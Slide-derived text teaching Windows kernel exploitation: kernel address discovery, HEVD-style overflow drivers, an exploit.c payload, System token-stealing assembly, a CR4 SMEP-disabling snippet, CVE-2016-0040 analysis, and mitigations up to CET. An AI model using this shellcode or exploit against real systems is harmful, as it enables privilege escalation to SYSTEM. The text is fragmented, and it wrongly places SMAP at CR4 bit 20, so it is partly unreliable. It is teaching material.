CVE-2016-0040

Mitigations

KASLR

Integrity levels

DEP/NX

SMEP / SMAP

CET

Conclusion

- An error at the kernel level = BSoD
- The kernel is a large and complex system
  - lots of interconnected subsystems that you have to deeply understand
  - less likely to be bug-free

Conclusion

# General concepts

# General concepts

- find the location or offsets of critical structures in kernel memory
- find addresses of kernel API functions
- two possibilities for code execution
  - code located in user space (easier)
  - code located in kernel space (harder but SMEP bypass)

Figure 1: Shellcode type overview

## List modules

```
PRTL_PROCESS_MODULES m = VirtualAlloc(NULL, 1024 * 1024,
                                        MEM_COMMIT,
                                        PAGE_READWRITE);

NtQuerySystemInformation(SystemModuleInformation,
                          m, 1024 * 1024, NULL);

for (SIZE_T i = 0; i < m->NumberOfModules; ++i) {
    printf("Image base: %p\n", m->Modules[i].ImageBase);
    printf("Image name: %s\n",
           m->Modules[i].FullPathName + m->Modules[i].OffsetToFileName);
}
```

```
Image base: FFFFF8008B683000

```

# General concepts

Now we can load these module in user-space with `LoadLibrary` and use `GetProcAddress` to compute offset

```
return GetProcAddress(ntoskrnl, "NtCreateFile") - ntoskrnl;
```

Name	PID	User Name	Description
System	4	AUTORITE NT\Système	NT Kernel & System
svchost.exe	4048	adr1_win81\adr1	Host Process for Windows Services
svchost.exe	3164	AUTORITE NT\SERVICE RÉSEAU	Host Process for Windows Services
svchost.exe	2564	AUTORITE NT\Système	Host Process for Windows Services
svchost.exe	2440	AUTORITE NT\SERVICE LOCAL	Host Process for Windows Services
svchost.exe	2432	AUTORITE NT\SERVICE LOCAL	Host Process for Windows Services
svchost.exe	2344	AUTORITE NT\SERVICE LOCAL	Host Process for Windows Services
svchost.exe	2200	AUTORITE NT\Système	Host Process for Windows Services

Figure 2: System process

## Privilege escalation

- Elevate privileges of the user-mode process
- Copy the System token and overwrite the current process access token

# General concepts

- Enumerate EPROCESS structures in kernel memory
- find the System process
- copy the pointer to the token structure of *System* to the *current process*
- Now the process receives the SID *S-1-5-18*

Conclusion

- Lot of resource exist for usermode exploitation
- But not so much for kernelmode exploitation
- Try HackSys Extreme Vulnerable Driver

# Stack overflow

## driver.c

```
NTSTATUS fooIoctlHandler(PIRP Irp, PIO_STACK_LOCATION IrpSp) {  
    SIZE_T Size = 0;  
    PVOID UserBuffer = NULL;  
  
    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;  
    Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength  
  
    bar(UserBuffer, size);  
  
    return STATUS_SUCCESS;  
}
```

# Stack overflow

```
void bar(IN PVOID UserBuffer, IN SIZE_T Size) {  
    ULONG KernelBuffer[512] = {0};  
    RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);  
  
    DbgPrint("[+] bar\n");  
}
```

## exploit.c

```
// userModeBufferSize = 512 + 9
RtlFillMemory((PVOID)pUserModeBuffer, userModeBufferSize, 0x41);

pMemoryAddress = (PVOID)((ULONG)pUserModeBuffer +
                          userModeBufferSize) -
                  sizeof(ULONG);

*(PULONG)pMemoryAddress = (ULONG)pEopPayload;

DeviceIoControl(hFile, FOO_IOCTL, pUserModeBuffer,
                userModeBufferSize,
                NULL, 0, &bytesReturned, NULL);
```

## driver.c

```

void IntegerOverflow(PVOID UserBuffer, SIZE_T Size) {
    ULONG BufferTerminator = 0xBAD0B0B0;
    SIZE_T TerminatorSize = sizeof(BufferTerminator);
    ULONG KernelBuffer[512] = {0};
    ULONG Count = 0;

    if ((Size + TerminatorSize) > sizeof(KernelBuffer))
        return;

    while (Count < (Size / sizeof(ULONG))) {
        if (*(PULONG)UserBuffer != BufferTerminator) {
            KernelBuffer[Count] = *(PULONG)UserBuffer;
            UserBuffer = (PULONG)UserBuffer + 1;
            Count++;
        } else {
            break;
        }
    }
}

NULL);

```

## ■ HalDispatchTable

### KeQueryIntervalProfile

```
kd> u nt!KeQueryIntervalProfile
nt!KeQueryIntervalProfile+0x29
8099a101 lea    eax,[ebp-0Ch]
8099a104 push   eax
8099a105 push   0Ch
8099a107 push   1
8099a109 call   [nt!HalDispatchTable+0x4]
8099a10f test   eax,eax
8099a111 jl    8099a11e
```

## Get the address of HalDispatchTable

- Get the base address of `ntoskrnl.exe`
- `LoadLibrary("ntoskrnl.exe")`
- `GetProcAddress(ntoskrnl, "HalDispatchTable")`

## System token stealing

```
pushad ; Save registers state
mov eax, fs:[0x124] ; KTHREAD
mov eax, [eax + EPROCESS_OFF]
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, 4 ; SYSTEM Pid
```

### SearchSystemPID:

```
mov eax, [eax + FLINK_OFF]
sub eax, FLINK_OFF
cmp [eax + PID_OFF], edx
jne SearchSystemPID
```

```
mov edx, [eax + TOKEN_OFF] ; Get SYSTEM process nt!_EPROCESS
mov [ecx + TOKEN_OFF], edx ; Replace target process n
popad ; Restore registers state
```

SMEP / SMAP

CET

Conclusion

# CVEs

- exploit-db #40039
- MS16-014 (February 9, 2016)
- KB3126587
- Uninitialized pointer dereference
- Vulnerability can be triggered even by process with low integrity level

# CVE-2016-0040

- WMIDataDevice accessible from user mode
- WmipReceiveNotifications is vulnerable

```
int WmipReceiveNotifications(int SystemBuffer,
                             ULONG* OutputBufferSize,
                             PVOID PRIP) {
    if (SystemBuffer > 10) {
        LocalBuffer = ExAllocatePool(...);
    }

    if (SystemBuffer) {
        // init LocalBuffer
    }

    *(DWORD*)(LocalBuffer + 60) = UserBuffer[8];
}
```

- We can use `NtMapUserPage` to spray the stack
- `NtMapUserPhysicalPages(BufferUser, 1024, 0x41414141);`
- This will put 4096 'A' into the stack

## WmipReceiveNotifications

FOLLOWUP\_IP:

nt!WmipReceiveNotifications+315

```
8162ee36 89483c mov dword ptr [eax+3Ch],ecx
```

```
// ecx is 0x41414141 , eax is from stack
```

Conclusion

# Mitigations

- Since Windows 7, kernel modules base addresses have been randomized
- Effective against remote exploits
- But with local exploit you can call `NtQuerySystemInformation`

- Implemented since Windows Vista
- Kernel exploit mitigation since Windows 8.1
- Processes that run under low integrity level cannot get kernel addresses by calling NtQuerySystemInformation

Process	User Name	Integrity	CPU
cmd.exe	Nicolae-PC\Nicolae	Medium	
cmd.exe	Nicolae-PC\Nicolae	Medium	
procexp.exe	Nicolae-PC\Nicolae	High	
procexp64.exe	Nicolae-PC\Nicolae	High	1.38
iexplore.exe	Nicolae-PC\Nicolae	Medium	0.05
explore.exe	Nicolae-PC\Nicolae	Low	0.10

Figure 5: Integrity levels

- NX bit
- prevents code execution in DATA areas like STACK, HEAP etc.

Figure 6:DEP

# Supervisor Mode Execution Prevention

- Implemented by Intel CPU since Ivy Bridge
- Supported since Windows 8
- The idea is to separate executable kernel space from executable user space
- Only code located in kernel space can be executed in kernel mode
- It's not possible anymore to jump directly in an user buffer
- Bit #20 of CR4
- Use ROP to bypass

- Hack In The Box Magazine #3

```
mov eax, cr4
btr eax, 20
mov cr4, eax
jmp 0x0BAAAAAD
```

- Put this shellcode in reserved object (NtQueueApcThreadEx)
- Obtain the address of the object structure by calling NtQuerySystemInformation

```
NtQueueApcThreadEx(HANDLE hThread, HANDLE hApcReserve,
    PVOID ApcRoutine, PVOID ApcArg1, PVOID ApcArg2, PVOID ApcArg3);
```

# Supervisor Mode Access Prevention

- Same as SMEP but for DATA
- Bit #20 of CR4

# Control-flow Enforcement Technology

- Works on legacy platforms without changes
- CET defines a second stack (shadow stack) exclusively used for control transfer operations
- New register: SSP
- When CET is enabled CALL instruction pushes the return address into both stack
- RET instruction pops return address from both stack
  - if the two addresses match, execution is transferred to this address
- You cannot switch or modify the shadow stack
